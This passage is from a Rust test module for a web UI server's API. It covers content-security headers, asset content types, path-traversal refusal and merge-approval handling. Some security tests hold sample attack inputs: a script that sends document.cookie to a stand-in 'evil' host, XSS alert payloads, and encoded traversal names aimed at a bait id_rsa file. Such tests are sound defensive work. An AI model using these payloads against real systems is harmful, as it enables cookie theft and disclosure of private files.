11092 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11093 let bytes = raw[split + 4..].to_vec();
11094 let status = head
11095 .lines()
11096 .next()
11097 .and_then(|line| line.split_whitespace().nth(1))
11098 .and_then(|code| code.parse().ok())
11099 .expect("a status line");
11100 Res {
11101 status,
11102 headers: head.to_lowercase(),
11103 head,
11104 body: String::from_utf8_lossy(&bytes).into_owned(),
11105 bytes,
11106 }
11107 }
11108
11109 async fn request_bytes(
11115 addr: SocketAddr,
11116 path: &str,
11117 headers: &[(&str, &str)],
11118 body: &[u8],
11119 ) -> Res {
11120 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11121 for (name, value) in headers {
11122 head.push_str(&format!("{name}: {value}\r\n"));
11123 }
11124 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11125 let mut socket = tokio::net::TcpStream::connect(addr)
11126 .await
11127 .expect("connect to the test server");
11128 socket
11129 .write_all(head.as_bytes())
11130 .await
11131 .expect("write request head");
11132 socket.write_all(body).await.expect("write request body");
11133 let mut raw = Vec::new();
11134 socket.read_to_end(&mut raw).await.expect("read response");
11135 let split = raw
11136 .windows(4)
11137 .position(|w| w == b"\r\n\r\n")
11138 .expect("a header block");
11139 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11140 let bytes = raw[split + 4..].to_vec();
11141 let status = head
11142 .lines()
11143 .next()
11144 .and_then(|line| line.split_whitespace().nth(1))
11145 .and_then(|code| code.parse().ok())
11146 .expect("a status line");
11147 Res {
11148 status,
11149 headers: head.to_lowercase(),
11150 head,
11151 body: String::from_utf8_lossy(&bytes).into_owned(),
11152 bytes,
11153 }
11154 }
11155
11156 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11158 let mut state = RunState::new(
11159 PathBuf::from("/repo/magi"),
11160 "main".to_owned(),
11161 "0123456789abcdef".to_owned(),
11162 "Add a web UI\n\nMobile first.".to_owned(),
11163 Config::default(),
11164 );
11165 state.id = id.to_owned();
11166 state.status = status;
11167 let dir = runs.join(id);
11168 std::fs::create_dir_all(&dir).expect("run dir");
11169 std::fs::write(
11170 dir.join("run.json"),
11171 serde_json::to_string_pretty(&state).expect("serialize run"),
11172 )
11173 .expect("write run.json");
11174 }
11175
11176 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11180 let mut state = RunState::new(
11181 PathBuf::from(repo),
11182 "main".to_owned(),
11183 "0123456789abcdef".to_owned(),
11184 "task".to_owned(),
11185 Config::default(),
11186 );
11187 state.id = id.to_owned();
11188 state.status = status;
11189 let dir = runs.join(id);
11190 std::fs::create_dir_all(&dir).expect("run dir");
11191 std::fs::write(
11192 dir.join("run.json"),
11193 serde_json::to_string_pretty(&state).expect("serialize run"),
11194 )
11195 .expect("write run.json");
11196 }
11197
11198 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11199 let body = serde_json::json!({
11200 "schema": 1,
11201 "pid": 4242,
11202 "started_at": Timestamp::now().to_string(),
11203 "updated_at": updated_at.to_string(),
11204 "idle": false,
11205 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11206 "completed": 7,
11207 "polls": 143,
11208 });
11209 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11210 }
11211
11212 fn launch_idle(
11222 _opts: daemon::Opts,
11223 stop: daemon::Stop,
11224 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11225 Box::pin(async move {
11226 while !stop.stopped() {
11227 tokio::time::sleep(Duration::from_millis(2)).await;
11228 }
11229 Ok(())
11230 })
11231 }
11232
11233 fn launch_broken(
11236 _opts: daemon::Opts,
11237 _stop: daemon::Stop,
11238 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11239 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11244 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11245 Box::pin(async move {
11246 Err(anyhow::anyhow!(if first {
11247 "publish the daemon status file: read-only file system"
11248 } else {
11249 "the restarted stand-in failed as well"
11250 }))
11251 })
11252 }
11253
11254 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11263 for _ in 0..SETTLE_STEPS {
11264 let view = fx.get("/api/loop").await.json();
11265 if want(&view) {
11266 return view;
11267 }
11268 tokio::time::sleep(Duration::from_millis(10)).await;
11269 }
11270 panic!(
11271 "the loop never settled: {}",
11272 fx.get("/api/loop").await.json()
11273 );
11274 }
11275
11276 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11278 let store = fx.questions();
11279 let mut q = Question::new(
11280 "20260902-000000-beef".to_owned(),
11281 "implement".to_owned(),
11282 "impl-A".to_owned(),
11283 summary.to_owned(),
11284 "because it matters".to_owned(),
11285 choices.iter().map(|c| (*c).to_owned()).collect(),
11286 );
11287 store.put(&mut q).expect("put question");
11288 q.id
11289 }
11290
11291 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11297 let store = fx.questions();
11298 let mut q = Question::new(
11299 "20260902-000000-beef".to_owned(),
11300 "land".to_owned(),
11301 "fix".to_owned(),
11302 "Merge this?".to_owned(),
11303 "the diff is in the panel".to_owned(),
11304 vec!["merge".to_owned(), "hold".to_owned()],
11305 );
11306 let staging = fx.home.path().join("staging");
11309 std::fs::create_dir_all(&staging).expect("staging dir");
11310 let sources: Vec<PathBuf> = assets
11311 .iter()
11312 .map(|(name, bytes)| {
11313 let path = staging.join(name);
11314 std::fs::write(&path, bytes).expect("write staged asset");
11315 path
11316 })
11317 .collect();
11318 store
11319 .put_panel(&mut q, html, &sources)
11320 .expect("write the panel");
11321 store.put(&mut q).expect("put question");
11322 q.id
11323 }
11324
11325 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11334 seed_talk_at(&fx.talks(), id, status)
11335 }
11336
11337 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11338 std::fs::create_dir_all(store.root()).expect("talks dir");
11339 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11340 .expect("serialize a seat");
11341 let body = serde_json::json!({
11342 "schema": 1,
11343 "id": id,
11344 "repo": "/repo/magi",
11345 "agent": "mock",
11346 "status": status,
11347 "turns": [],
11348 "created_at": Timestamp::now().to_string(),
11349 "updated_at": Timestamp::now().to_string(),
11350 "seat": seat,
11351 });
11352 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11353 store.get(id).expect("the seeded talk has to be readable");
11354 id.to_owned()
11355 }
11356
11357 #[tokio::test]
11358 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11359 let fx = Fixture::start().await;
11360 let id = panel(
11361 &fx,
11362 "<h1>Merge?</h1><img src=\"diff.svg\">",
11363 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11364 );
11365
11366 for path in [
11367 format!("/api/questions/{id}/panel"),
11368 format!("/api/questions/{id}/asset/diff.svg"),
11369 ] {
11370 let res = fx.get(&path).await;
11371 assert_eq!(res.status, 200, "{path}: {}", res.body);
11372 assert_eq!(
11378 res.header("content-security-policy"),
11379 Some(
11380 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11381 font-src data:; base-uri 'none'; form-action 'none'; \
11382 frame-ancestors 'self'"
11383 ),
11384 "{path} is the only thing between a hostile panel and the tailnet"
11385 );
11386 assert_eq!(
11387 res.header("x-content-type-options"),
11388 Some("nosniff"),
11389 "{path}: a browser must not re-decide the type we sent"
11390 );
11391 assert_eq!(
11392 res.header("referrer-policy"),
11393 Some("no-referrer"),
11394 "{path}: a panel must not leak the question id off the machine"
11395 );
11396
11397 let pre = fx.head(&path).await;
11402 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11403 assert_eq!(
11404 pre.header("content-security-policy"),
11405 res.header("content-security-policy"),
11406 "{path}: the preflight carries the same policy"
11407 );
11408 assert_eq!(
11409 pre.header("content-type"),
11410 res.header("content-type"),
11411 "{path}: the preflight carries the same type"
11412 );
11413 }
11414 }
11415
11416 #[tokio::test]
11417 async fn a_panel_reaches_the_browser_byte_for_byte() {
11418 let fx = Fixture::start().await;
11419 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11424 let id = panel(&fx, html, &[]);
11425
11426 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11427
11428 assert_eq!(res.status, 200);
11429 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11430 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11431 assert_eq!(
11432 res.header("content-disposition"),
11433 None,
11434 "the panel itself is rendered in the frame, not downloaded"
11435 );
11436 }
11437
11438 #[tokio::test]
11439 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11440 let fx = Fixture::start().await;
11441 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11442 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11443 let id = panel(
11444 &fx,
11445 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11446 &[("diff.svg", svg), ("shot.png", png)],
11447 );
11448
11449 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11450 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11451
11452 assert_eq!(as_svg.status, 200);
11453 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11454 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11459
11460 assert_eq!(as_png.status, 200);
11461 assert_eq!(as_png.header("content-type"), Some("image/png"));
11462 assert_eq!(
11463 as_png.header("content-disposition"),
11464 None,
11465 "a raster image has no execution surface, so tapping it still shows it"
11466 );
11467 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11468 }
11469
11470 #[tokio::test]
11471 async fn an_html_asset_is_never_served_as_html() {
11472 let fx = Fixture::start().await;
11473 let id = panel(
11474 &fx,
11475 "<p>see the notes</p>",
11476 &[
11477 (
11478 "notes.html",
11479 b"<script>fetch('http://evil/'+document.cookie)</script>",
11480 ),
11481 ("hook.js", b"fetch('http://evil/')"),
11482 ("data.json", b"{}"),
11483 ("HEADLINE.TXT", b"plain"),
11484 ],
11485 );
11486
11487 for name in ["notes.html", "hook.js", "data.json"] {
11488 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11489 assert_eq!(res.status, 200, "{name}: {}", res.body);
11490 assert_eq!(
11495 res.header("content-type"),
11496 Some("application/octet-stream"),
11497 "{name} must not be a type the browser will execute or render"
11498 );
11499 }
11500 let txt = fx
11503 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11504 .await;
11505 assert_eq!(
11506 txt.header("content-type"),
11507 Some("text/plain; charset=utf-8")
11508 );
11509 }
11510
11511 #[tokio::test]
11512 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11513 let fx = Fixture::start().await;
11514 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11515 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11519
11520 for encoded in [
11527 "%2e%2e%2fid_rsa",
11528 "..%2fid_rsa",
11529 "..%5cid_rsa",
11530 "%2e%2e%5cid_rsa",
11531 "diff%00.svg",
11532 "..",
11533 ".hidden",
11534 "%2e%2e%2f%2e%2e%2fid_rsa",
11535 ] {
11536 let res = fx
11537 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11538 .await;
11539 assert_eq!(
11540 res.status, 400,
11541 "`{encoded}` has to be refused by name, not looked up: {}",
11542 res.body
11543 );
11544 assert!(res.json()["error"].is_string(), "{}", res.body);
11545 }
11546
11547 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11553 let res = fx
11554 .get(&format!("/api/questions/{id}/asset/{literal}"))
11555 .await;
11556 assert_eq!(
11557 res.status, 404,
11558 "`{literal}` must not match the asset route at all: {}",
11559 res.body
11560 );
11561 }
11562 }
11563
11564 #[tokio::test]
11565 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11566 let fx = Fixture::start().await;
11567 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11568 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11569
11570 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11574 assert_eq!(none.status, 404, "{}", none.body);
11575 assert!(none.json()["error"].is_string(), "{}", none.body);
11576 assert_eq!(
11577 fx.head(&format!("/api/questions/{plain}/panel"))
11578 .await
11579 .status,
11580 404,
11581 "the preflight is the only way the client can learn this"
11582 );
11583
11584 let missing = fx
11586 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11587 .await;
11588 assert_eq!(missing.status, 404, "{}", missing.body);
11589 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11590
11591 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11593 assert_eq!(
11594 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11595 404
11596 );
11597 }
11598
11599 #[tokio::test]
11600 async fn a_run_with_an_open_question_reads_as_waiting() {
11601 let fx = Fixture::start().await;
11602 let run = "20260902-000000-beef".to_owned();
11603 write_run(&fx.runs(), &run, RunStatus::Implementing);
11604
11605 let before = fx.get("/api/runs").await.json();
11606 assert_eq!(before[0]["waiting"], false, "{before}");
11607
11608 let store = fx.questions();
11609 let mut q = Question::new(
11610 run.clone(),
11611 "implement".to_owned(),
11612 "impl-A".to_owned(),
11613 "Which backend?".to_owned(),
11614 String::new(),
11615 vec!["SQLite".to_owned()],
11616 );
11617 store.put(&mut q).expect("put");
11618
11619 let during = fx.get("/api/runs").await.json();
11620 assert_eq!(during[0]["waiting"], true, "{during}");
11621
11622 q.answer(Answer::Choice("SQLite".to_owned()))
11625 .expect("answer");
11626 store.put(&mut q).expect("put");
11627 let after = fx.get("/api/runs").await.json();
11628 assert_eq!(after[0]["waiting"], false, "{after}");
11629 }
11630
11631 #[tokio::test]
11632 async fn an_open_question_is_listed_and_counted_by_health() {
11633 let fx = Fixture::start().await;
11634 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11635
11636 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11637 let listed = fx.get("/api/questions").await.json();
11638 assert_eq!(listed.as_array().expect("array").len(), 1);
11639 assert_eq!(listed[0]["id"], id);
11640 assert_eq!(listed[0]["status"], "open");
11641 assert_eq!(listed[0]["choices"][1], "Redis");
11642 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11645 }
11646
11647 fn obsolete_approval_state() -> RunState {
11648 let mut state = crate::land::tests::repair_state(true, true);
11649 state.pr = Some(crate::run::PrRecord {
11650 url: "https://github.com/example/repo/pull/42".into(),
11651 number: 42,
11652 state: "open".into(),
11653 checks: "green".into(),
11654 round: 1,
11655 rounds: 4,
11656 red_at_merge: Vec::new(),
11657 });
11658 state
11659 }
11660
11661 #[tokio::test]
11662 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11663 for owner in ["missing", "current", "completed", "later"] {
11664 let fx = Fixture {
11665 home: TempDir::new().unwrap(),
11666 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11667 };
11668 let mut state = obsolete_approval_state();
11669 state.status = RunStatus::Landing;
11670 state.parked = true;
11671 state.driver_exited = true;
11672 let mut q = Question::new(
11673 state.id.clone(),
11674 crate::land::APPROVAL_NODE.into(),
11675 "land".into(),
11676 "Old approval".into(),
11677 "Original evidence".into(),
11678 vec!["merge".into(), "hold".into()],
11679 );
11680 state.land_approval = Some(crate::run::LandApproval {
11681 question: q.id.clone(),
11682 head: "head".into(),
11683 });
11684 state.save_under(fx.home.path()).unwrap();
11685 let stale = state.clone();
11686 fx.questions().put(&mut q).unwrap();
11687 let mut task = Task::new(
11688 "Owner".into(),
11689 "Original instruction".into(),
11690 state.repo.clone(),
11691 Source::Human,
11692 );
11693 task.runs.push(state.id.clone());
11694 task.status = if owner == "completed" {
11695 TaskStatus::Done
11696 } else {
11697 TaskStatus::Parked
11698 };
11699 if owner == "later" {
11700 task.runs.push("later-run".into());
11701 }
11702 if owner != "missing" {
11703 fx.queue().put(&mut task).unwrap();
11704 }
11705 let ui = Arc::new(Ui::new(
11706 fx.queue(),
11707 fx.questions(),
11708 fx.talks(),
11709 fx.runs(),
11710 fx.home.path().into(),
11711 state.repo.clone(),
11712 ));
11713 let response = question_answer(
11714 State(ui),
11715 Path(q.id.clone()),
11716 Ok(Json(NewAnswer {
11717 choice: Some(crate::merge_decision::DISMISS.into()),
11718 text: None,
11719 ..Default::default()
11720 })),
11721 )
11722 .await
11723 .unwrap();
11724 assert_eq!(
11725 response.0.question.resolution().as_deref(),
11726 Some(crate::merge_decision::DISMISS)
11727 );
11728 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11729 assert_eq!(disk.status, RunStatus::Superseded);
11730 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11731 assert!(!crate::merge_decision::resumable_hold(&disk));
11732 assert_eq!(
11733 serde_json::to_value(&disk.pr).unwrap(),
11734 serde_json::to_value(&stale.pr).unwrap()
11735 );
11736 assert_eq!(fx.questions().count_open(), 0);
11737 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11738 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11739 if owner == "missing" {
11740 assert!(fx.queue().list().is_empty());
11741 } else {
11742 let after = fx.queue().get(&task.id).unwrap();
11743 assert_eq!(
11744 after.status,
11745 if owner == "current" {
11746 TaskStatus::Done
11747 } else {
11748 task.status
11749 }
11750 );
11751 assert_eq!(after.runs, task.runs);
11752 assert_eq!(after.instruction, task.instruction);
11753 assert_eq!(after.action_applied(&q.id), owner == "current");
11754 }
11755 }
11756 }
11757
11758 #[tokio::test]
11759 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11760 let fx = Fixture::start().await;
11761 let mut state = obsolete_approval_state();
11762 state.status = RunStatus::Landing;
11763 state.parked = true;
11764 state.driver_exited = true;
11765 let mut q = Question::new(
11766 state.id.clone(),
11767 crate::land::APPROVAL_NODE.into(),
11768 "land".into(),
11769 "Superseded PR approval".into(),
11770 "Original review evidence".into(),
11771 vec!["merge".into(), "hold".into()],
11772 );
11773 state.land_approval = Some(crate::run::LandApproval {
11774 question: q.id.clone(),
11775 head: "old-reviewed-head".into(),
11776 });
11777 state.save_under(fx.home.path()).unwrap();
11780 let stale_driver = state.clone();
11781 fx.questions().put(&mut q).unwrap();
11782 let path = fx
11783 .home
11784 .path()
11785 .join("questions")
11786 .join(format!("{}.json", q.id));
11787 let mut legacy = serde_json::to_value(&q).unwrap();
11788 legacy["schema"] = 9.into();
11789 legacy.as_object_mut().unwrap().remove("merge_target");
11790 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11791
11792 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11795 let answer_path = format!("/api/questions/{}/answer", q.id);
11796 let res = fx.post(&answer_path, Some(&body)).await;
11797 assert_eq!(res.status, 200, "{}", res.body);
11798 let disk = fx.questions().get(&q.id).unwrap();
11799 assert_eq!(
11800 disk.resolution().as_deref(),
11801 Some(crate::merge_decision::DISMISS)
11802 );
11803 assert!(disk.detail.starts_with("Original review evidence"));
11804 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11805 assert_eq!(retired.status, RunStatus::Superseded);
11806 assert_eq!(
11807 serde_json::to_value(&retired.pr).unwrap(),
11808 serde_json::to_value(&state.pr).unwrap()
11809 );
11810 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11811 assert!(!crate::merge_decision::resumable_hold(&retired));
11812 assert!(fx.queue().list().is_empty());
11813 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11814 let addr = Fixture::serve(
11816 fx.home.path(),
11817 PathBuf::from("/repo/magi"),
11818 launch_idle,
11819 None,
11820 )
11821 .await;
11822 let reconnected = Fixture {
11823 home: fx.home,
11824 addr,
11825 };
11826 let listed = reconnected.get("/api/questions").await.json();
11827 assert!(
11828 listed
11829 .as_array()
11830 .unwrap()
11831 .iter()
11832 .all(|q| q["status"] != "open")
11833 );
11834 assert_eq!(listed[0]["id"], q.id, "history remains available");
11835 assert_eq!(
11836 reconnected.get("/api/health").await.json()["questions_open"],
11837 0
11838 );
11839 assert_eq!(
11840 reconnected
11841 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11842 .await
11843 .status,
11844 409
11845 );
11846 assert!(
11848 reconnected
11849 .questions()
11850 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11851 .is_err()
11852 );
11853 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11856 }
11857
11858 #[tokio::test]
11859 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11860 let fx = Fixture::start().await;
11861 let mut state = obsolete_approval_state();
11862 state.status = RunStatus::Landing;
11863 state.driver_exited = true;
11864 let mut q = Question::new(
11865 state.id.clone(),
11866 crate::land::APPROVAL_NODE.into(),
11867 "land".into(),
11868 "Obsolete approval".into(),
11869 String::new(),
11870 vec!["merge".into(), "hold".into()],
11871 );
11872 state.land_approval = Some(crate::run::LandApproval {
11873 question: q.id.clone(),
11874 head: "head".into(),
11875 });
11876 state.save_under(fx.home.path()).unwrap();
11877 fx.questions().put(&mut q).unwrap();
11878 let mut task = Task::new(
11879 "Owner".into(),
11880 "Original instruction".into(),
11881 state.repo.clone(),
11882 Source::Human,
11883 );
11884 task.runs = vec![state.id.clone(), "later-run".into()];
11885 fx.queue().put(&mut task).unwrap();
11886 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11887 let claim = fx.queue().claim(&task.id).unwrap();
11888 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11889 let path = format!("/api/questions/{}/answer", q.id);
11890 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11891 assert!(fx.questions().get(&q.id).unwrap().status.open());
11892 drop(claim);
11893 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11894 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11895 assert!(fx.questions().get(&q.id).unwrap().status.open());
11896 drop(publication);
11897 state.driver_exited = false;
11899 state.driver_pid = None;
11900 state.save_under(fx.home.path()).unwrap();
11901 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11902 state.driver_exited = true;
11903 state.land_armed_head = Some("head".into());
11904 state.save_under(fx.home.path()).unwrap();
11905 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11906 state.land_armed_head = None;
11907 state.save_under(fx.home.path()).unwrap();
11908 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11909 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11910 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11911 }
11912
11913 #[tokio::test]
11914 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11915 let fx = Fixture::start().await;
11916 let mut state = obsolete_approval_state();
11917 state.status = RunStatus::Landing;
11918 state.driver_exited = true;
11919 let mut q = Question::new(
11920 state.id.clone(),
11921 crate::land::APPROVAL_NODE.into(),
11922 "land".into(),
11923 "Obsolete approval".into(),
11924 String::new(),
11925 vec!["merge".into(), "hold".into()],
11926 );
11927 state.land_approval = Some(crate::run::LandApproval {
11928 question: q.id.clone(),
11929 head: "head".into(),
11930 });
11931 state.save_under(fx.home.path()).unwrap();
11932 fx.questions().put(&mut q).unwrap();
11933 let mut task = Task::new(
11934 "Owner".into(),
11935 "Original instruction".into(),
11936 state.repo.clone(),
11937 Source::Human,
11938 );
11939 task.runs.push(state.id.clone());
11940 task.status = TaskStatus::Parked;
11941 fx.queue().put(&mut task).unwrap();
11942 state.merge_decision = Some(crate::merge_decision::Decision {
11945 question: q.id.clone(),
11946 target: crate::merge_decision::Target {
11947 pr: state.pr.as_ref().unwrap().url.clone(),
11948 head: "head".into(),
11949 language: "ja".into(),
11950 },
11951 choice: crate::merge_decision::DISMISS.into(),
11952 closed: false,
11953 replacement_run: None,
11954 replacement_pr: None,
11955 });
11956 state.status = RunStatus::Superseded;
11957 state.save_under(fx.home.path()).unwrap();
11958 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11959 let path = format!("/api/questions/{}/answer", q.id);
11960 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11961 let done = fx.queue().get(&task.id).unwrap();
11962 assert_eq!(done.status, TaskStatus::Done);
11963 assert_eq!(done.runs, task.runs);
11964 assert_eq!(done.instruction, task.instruction);
11965 assert!(done.action_applied(&q.id));
11966 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11967 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11968 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11969 }
11970
11971 #[tokio::test]
11972 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11973 let home = TempDir::new().unwrap();
11974 let ui = Arc::new(Ui::new(
11975 Queue::at(home.path().join("queue")),
11976 Questions::at(home.path().join("questions")),
11977 Talks::at(home.path().join("talks")),
11978 home.path().join("runs"),
11979 home.path().to_owned(),
11980 home.path().to_owned(),
11981 ));
11982 let talks = &ui.talks;
11983 let chat =
11984 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11985 let mut q = Question::new(
11986 "run".into(),
11987 crate::land::APPROVAL_NODE.into(),
11988 "land".into(),
11989 "Merge?".into(),
11990 String::new(),
11991 vec!["merge".into(), "hold".into()],
11992 );
11993 q.routed_task = Some("task".into());
11994 q.routed_chat = Some(chat.id.clone());
11995 q.merge_target = Some(crate::merge_decision::Target {
11996 pr: "https://example.test/pull/1".into(),
11997 head: "head-a".into(),
11998 language: "en".into(),
11999 });
12000 ui.questions.put(&mut q).unwrap();
12001 let send = |body| {
12002 question_answer(
12003 State(ui.clone()),
12004 Path(q.id.clone()),
12005 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12006 )
12007 };
12008 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12009 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12010 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12011 assert!(send(wrong_chat).await.is_err());
12012 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12013 assert!(send(stale).await.is_err());
12014 assert!(ui.questions.get(&q.id).unwrap().status.open());
12015 assert!(send(button.clone()).await.is_ok());
12016 assert_eq!(
12017 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12018 Some("merge")
12019 );
12020 assert!(send(button).await.is_err());
12021 }
12022
12023 #[tokio::test]
12024 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12025 let home = TempDir::new().unwrap();
12026 let ui = Arc::new(Ui::new(
12027 Queue::at(home.path().join("queue")),
12028 Questions::at(home.path().join("questions")),
12029 Talks::at(home.path().join("talks")),
12030 home.path().join("runs"),
12031 home.path().to_owned(),
12032 home.path().to_owned(),
12033 ));
12034 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12035 let mut q = Question::new(
12036 "run".into(),
12037 crate::land::APPROVAL_NODE.into(),
12038 "land".into(),
12039 "Merge?".into(),
12040 String::new(),
12041 vec!["merge".into(), choice.into()],
12042 );
12043 q.routed_task = Some("task".into());
12044 q.merge_target = Some(crate::merge_decision::Target {
12045 pr: "https://example.test/pull/1".into(),
12046 head: "head-a".into(),
12047 language: "en".into(),
12048 });
12049 ui.questions.put(&mut q).unwrap();
12050 let answer = |c: &str| {
12051 question_answer(
12052 State(ui.clone()),
12053 Path(q.id.clone()),
12054 Ok(Json(
12055 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12056 .unwrap(),
12057 )),
12058 )
12059 };
12060 let _ = answer(choice).await.unwrap();
12061 assert_eq!(
12062 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12063 Some(choice)
12064 );
12065 }
12066 }
12067
12068 #[tokio::test]
12069 async fn a_routed_decision_is_refused_on_the_question_route() {
12070 let home = TempDir::new().unwrap();
12071 let ui = Arc::new(Ui::new(
12072 Queue::at(home.path().join("queue")),
12073 Questions::at(home.path().join("questions")),
12074 Talks::at(home.path().join("talks")),
12075 home.path().join("runs"),
12076 home.path().to_owned(),
12077 home.path().to_owned(),
12078 ));
12079 let mut q = Question::new(
12080 "run".into(),
12081 crate::github_text::ASK_NODE.into(),
12082 "posting-gate".into(),
12083 "Post?".into(),
12084 String::new(),
12085 vec!["use fallback".into()],
12086 );
12087 q.routed_task = Some("task".into());
12088 ui.questions.put(&mut q).unwrap();
12089 let sent = question_answer(
12090 State(ui.clone()),
12091 Path(q.id.clone()),
12092 Ok(Json(
12093 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12094 .unwrap(),
12095 )),
12096 )
12097 .await;
12098 assert!(sent.is_err());
12099 assert!(ui.questions.get(&q.id).unwrap().status.open());
12100 }
12101
12102 #[tokio::test]
12103 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12104 let fx = Fixture {
12105 home: TempDir::new().unwrap(),
12106 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12107 };
12108 for choice in [
12109 crate::land::HOLD,
12110 crate::land::REPAIR,
12111 crate::land::APPROVE,
12112 crate::merge_decision::WITHDRAW,
12113 "reimplement:beta",
12114 ] {
